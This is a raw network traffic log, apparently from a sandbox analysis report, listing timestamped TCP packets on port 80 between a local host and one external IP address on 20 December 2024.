Dec 20, 2024 16:05:39.279702902 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.279759884 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.279802084 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.280749083 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.281029940 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.281080008 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.281788111 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.281924009 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.281996012 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.282764912 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.283114910 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.283168077 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.283827066 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.284013033 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.284065008 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.284293890 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.284816980 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.285008907 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.285052061 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.285933971 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.286142111 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.286874056 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.286940098 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.287198067 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.287388086 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.287960052 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.288033009 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.288145065 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.288919926 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.289235115 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.289288044 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.289901018 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.290085077 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.290134907 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.290911913 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.291055918 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.291099072 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.291935921 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.291991949 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.292042971 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.293056011 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.293150902 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.293195009 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.293984890 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.294043064 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.294112921 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.295022964 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.295176029 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.295257092 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.296047926 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.296154022 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.296276093 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.297034979 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.297137976 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.297178030 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.297993898 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.298481941 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.298532009 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.299031973 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.299452066 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.299501896 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.300091982 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.300194025 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.300240993 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.301078081 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.301436901 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.301498890 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.302046061 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.302411079 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.302455902 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.303078890 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.303479910 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.303523064 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.304088116 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.304707050 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.304785013 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.305125952 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.305193901 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.305277109 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.306114912 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.306488037 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.306521893 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.307146072 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.307215929 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.307300091 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.308237076 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.308423996 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.308464050 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.309163094 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.309340954 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.309389114 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.310189009 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.310731888 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.310820103 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.311223030 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.311366081 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.311414003 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.312604904 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.312798023 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.312855005 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.313230038 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.313328981 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.313466072 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.314238071 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.314353943 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.314412117 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.315289021 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.315527916 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.315639019 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.316251993 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.316521883 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.316575050 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.317398071 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.317441940 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.317483902 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.318387032 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.318661928 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.318710089 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.319327116 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.319436073 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.319525003 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.320440054 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.320549965 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.320609093 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.321448088 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.321521997 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.321584940 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.322485924 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.322690964 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.322757006 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.323482037 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.323494911 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.323534012 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.324450016 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.324731112 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.324779987 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.325439930 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.325939894 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.325995922 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.326365948 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.375955105 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.469702959 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.470025063 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.470093966 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.470213890 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.470227957 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.470264912 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.471280098 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.471407890 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.471457958 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.472279072 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.472518921 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.472557068 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.473248959 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.473335028 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.473671913 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.474370956 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.474525928 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.474572897 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.475291967 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.475414991 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.475502014 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.476382017 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.476458073 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.476490021 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.477796078 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.477809906 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.477860928 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.478348970 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.478588104 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.479342937 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.479357004 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.479712963 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.479958057 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.480348110 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.480583906 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.480623007 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.481400013 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.481550932 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.481632948 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.482410908 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.482711077 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.482753992 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.483355045 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.483369112 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.483407021 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.484424114 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.484436989 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.484484911 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.485591888 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.486135960 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.486772060 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.486937046 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.486958981 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.486985922 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.487488985 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.488267899 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.488315105 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.488404989 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.488419056 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.488461971 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.489530087 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.489746094 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.489820004 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.490511894 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.490525007 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.490577936 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.491441011 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.491880894 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.491935968 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.492552042 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.492564917 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.492610931 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.493685961 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.493705988 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.493752956 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.494575024 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.494733095 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.495095015 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.495522022 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.495676994 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.496295929 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.496692896 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.496752977 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.496793032 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.497602940 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.497713089 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.497762918 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.498631001 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.498846054 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.499120951 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.499728918 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.499835968 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.499989986 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.500730038 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.500741959 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.500788927 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.501669884 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.502039909 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.502094984 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.502787113 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.502907991 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.503026009 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.503649950 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.503978968 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.504077911 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.504707098 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.505137920 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.505179882 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.505697012 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.505835056 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.506267071 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.506805897 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.506942987 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.506974936 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.507755995 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.508162975 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.508210897 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.508759975 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.508771896 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.508811951 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.509803057 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.510250092 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.510329962 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.510822058 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.511059999 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.511107922 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.511748075 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.511993885 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.512041092 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.512800932 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.513756990 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.513784885 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.513798952 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.513804913 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.513835907 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.514806032 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.514915943 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.515232086 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.515913010 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.516032934 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.516575098 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.516989946 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.517191887 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.517235041 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.517875910 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.517981052 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.518887997 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.518934965 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.519133091 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.519939899 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.519995928 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.520225048 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.520265102 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.520936966 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.521050930 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.521938086 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.521990061 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.522083998 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.522124052 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.522906065 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.563438892 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.662089109 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.662246943 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.662303925 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.662564039 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.662576914 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.662642002 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.663563013 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.663666964 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.663711071 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.664565086 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.664686918 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.664762020 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.665597916 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.665822029 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.665878057 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.666611910 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.667568922 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.667583942 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.667608023 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.667614937 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.667643070 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.668549061 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.669425011 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.669471979 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.669585943 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.669703960 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.670576096 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.670660973 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.670829058 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.670871973 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.671611071 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.672419071 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.672473907 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.672637939 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.672652006 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.672693014 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.692781925 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.735311031 CET	49757	80	192.168.2.7	185.215.113.16
